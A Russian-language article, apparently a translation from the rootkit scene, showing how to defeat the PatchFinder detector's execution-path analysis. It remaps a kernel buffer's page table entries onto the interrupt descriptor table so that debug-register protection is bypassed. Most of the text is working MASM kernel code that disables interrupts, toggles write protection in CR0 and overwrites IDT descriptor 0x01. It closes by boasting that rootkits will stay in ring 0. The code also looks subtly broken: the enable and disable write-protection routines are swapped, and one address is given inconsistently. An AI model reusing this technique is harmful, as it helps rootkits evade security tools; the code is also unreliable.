Введение
PatchFinder - изощренная диагностическая утилита, разработанная для детектирования руткитов. Она использует технику EPA (Анализ пути запуска) для нахождения руткитов.
Эта статья покажет как обойти защиту на основе ЕРА.
Метод
EPA базируется на пошаговом режиме отладки (флаг TF в EFLAGS) и использует дескриптор 0x01 в таблице дескрипторов прерываний (IDT). Для защиты от изменения адреса дескриптора 0x01 руткитом, EPA использует отладочные регистры (DR0, DR1).
Давайте заглянем в интеловский мануал: "Отладочные регистры DR0-DR3 содержат 32-битный линейный адрес точки останова (брекпойнта)".
Обратите внимание: ЛИНЕЙНЫЙ АДРЕС! В Windows 2000/XP используется механизм страничной трансляции,
который преобразует линейный адрес в физический.
Предположим, что базовый адрес IDT равен 0х8003F400 и содержится в регистре IDTR.
Тогда адрес дескриптора 0х01 в IDT равен 0х8003F408.
Интел о IDTR: "Базовый адрес является линейным адресом в байте 0 в
IDT".
Адрес Каталога страниц в Windows 2000/XP указан в регистре CR3 и отображается на линейный адрес 0хС300000. Линейный адрес делиться на Каталог, Таблицу и Смещение. Используя страничный механизм, описываемый в интеловском мануале, мы обнаружим, что ФИЗИЧЕСКИЙ адрес 0x8003F408 равняется 0х03F00.
Все, что нам надо сделать - создать буфер, получить указатель на этот буфер и изменить значения в Каталоге страниц и Таблице страниц таким образом, чтобы буфер указывал на физический адрес 0х03F00.
После этого можно писать в буфер (и это будет равносильно записи в
IDT) не боясь защитных механизмов! Отладочные регистры бесполезны для защиты памяти, т.к. они не защищают ФИЗИЧЕСКУЮ память.
Код
Далее идет исходный код, написанный на MASM v8.0.
Я люблю программировать на языке ассемблера :-).
Полный исходник лежит на www.rootkit.com.
;--- IDTR structure definition------
DIDTR STRUCT ;IDTR
dLIMIT WORD ?
ibase DWORD ?
DIDTR
ENDS
;--------------------
BypassIDTProtection PROC
LOCAL dbgHandler:DWORD
LOCAL myIDT:DIDTR
LOCAL idtbase:DWORD
LOCAL idtbaseoff:DWORD
LOCAL idtPDE:DWORD
LOCAL idtPDEaddr:DWORD
LOCAL idtPTE:DWORD
LOCAL idtPTEaddr:DWORD
LOCAL varbase:DWORD
LOCAL varbaseoff:DWORD
LOCAL varPDE:DWORD
LOCAL varPDEaddr:DWORD
LOCAL varPTE:DWORD
LOCAL varPTEaddr:DWORD
LOCAL diffoffset:DWORD
pushad
; Выделяем память чтобы была выровнена по размеру страницы (4к)
invoke ExAllocatePool, NonPagedPoolMustSucceed, 01000h
mov varbase, eax
cli ; Отрубаем прерывания
invoke DisablePageProtection ; Для XP, старый трюк, используемый в Regmon
sidt myIDT
mov eax, myIDT.ibase
add eax, 08h
mov idtbase, eax ; idtbase = базовый адрес IDT + 8 байтов
and eax, 0FFC00000h ; Получим индекс IDT в каталоге страниц
shr eax, 22
shl eax, 2 ; Умножаем на четыре
mov ebx, 0c0300000h ; 0c0300000 = Каталог страниц
add ebx, eax ; ebx = [Каталог страниц + индекс IDT*4]
mov idtPDEaddr, ebx
mov eax, [ebx]
mov idtPDE, eax ; еax = запись в PDE для IDT
mov eax, idtbase
and eax, 0FFFh ; 0-12 биты IDT = смещение в странице
mov idtbaseoff, eax
mov eax, idtbase
shr eax, 12 ; Смещаем до 22 бита IDT
shl eax, 2 ; Умножаем на четыре
mov ebx, 0c0000000h ; 0c0000000 = начало Таблицы страниц
add ebx, eax
mov idtPTEaddr, ebx ; Запись в PTE для IDT
mov eax, [ebx]
mov idtPTE, eax ; Получаем значение по адресу записи IDT в PTE
mov eax, varbase
and eax, 0FFC00000h ; Получаем индекс varbase в Каталоге страниц
shr eax, 22
shl eax, 2
mov ebx, 0c0300000h
add ebx, eax
mov varPDEaddr, ebx
mov eax, [ebx]
mov varPDE, eax
mov eax, varbase
and eax, 0FFFh
mov varbaseoff, eax
mov eax, varbase
shr eax, 12
shl eax, 2
mov ebx, 0c0000000h
add ebx, eax
mov varPTEaddr, ebx
mov eax, [ebx]
mov varPTE, eax
mov eax, varPDEaddr ; изменяем значение в PDE на адрес
;дескриптора 0x01 в IDT
mov ebx, idtPDE
mov [eax], ebx
mov eax, varPTEaddr ; изменяем значение в PTE на адрес
;дескриптора 0х01 в IDT
mov ebx, idtPTE
mov [eax], ebx
mov ebx, idtbaseoff ; вычисляем смещение
mov eax, varbaseoff
sub ebx, eax
; Сейчас мы будем писАть в дескриптор 0х01 в IDT
; используя
линейный адрес, при котором
; отладочные регистры не сработают!
; Просто тест, который делает 0х01 бесполезным
mov eax, varbase
mov dword ptr [eax+ebx], 0deadbeefh
mov eax, varPDEaddr ; восстанавливаем старое значение
mov ebx, varPDE
mov [eax], ebx
mov eax, varPTEaddr ; восстанавливаем старое значение
mov ebx, varPTE
mov [eax], ebx
invoke EnablePageProtection ; устанавливаем флаг WP в регистре CR0
sti
popad
ret
BypassIDTProtection ENDP ;:: EnablePageProtection proc
push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax
ret
EnablePageProtection endp ;:: DisablePageProtection proc
push eax
mov eax, CR0
or eax, NOT 0FFFEFFFFh
mov CR0, eax
pop eax
ret
DisablePageProtection endp ;::
Будущее руткитов
К сожалению, метод, изложенный здесь, делает EPA бесполезным.
До тех пор, пока Micro$oft не изменит архитектуру защиты, ни один метод не остановит руткиты.
В будущем руткиты будут использовать страничный механизм по полной программе. Это даст им бесконечные
возможности.
Однажды в нулевом кольце - навсегда в нулевом кольце.
Оригинал: http://www.go2.fr/syn/index2.htm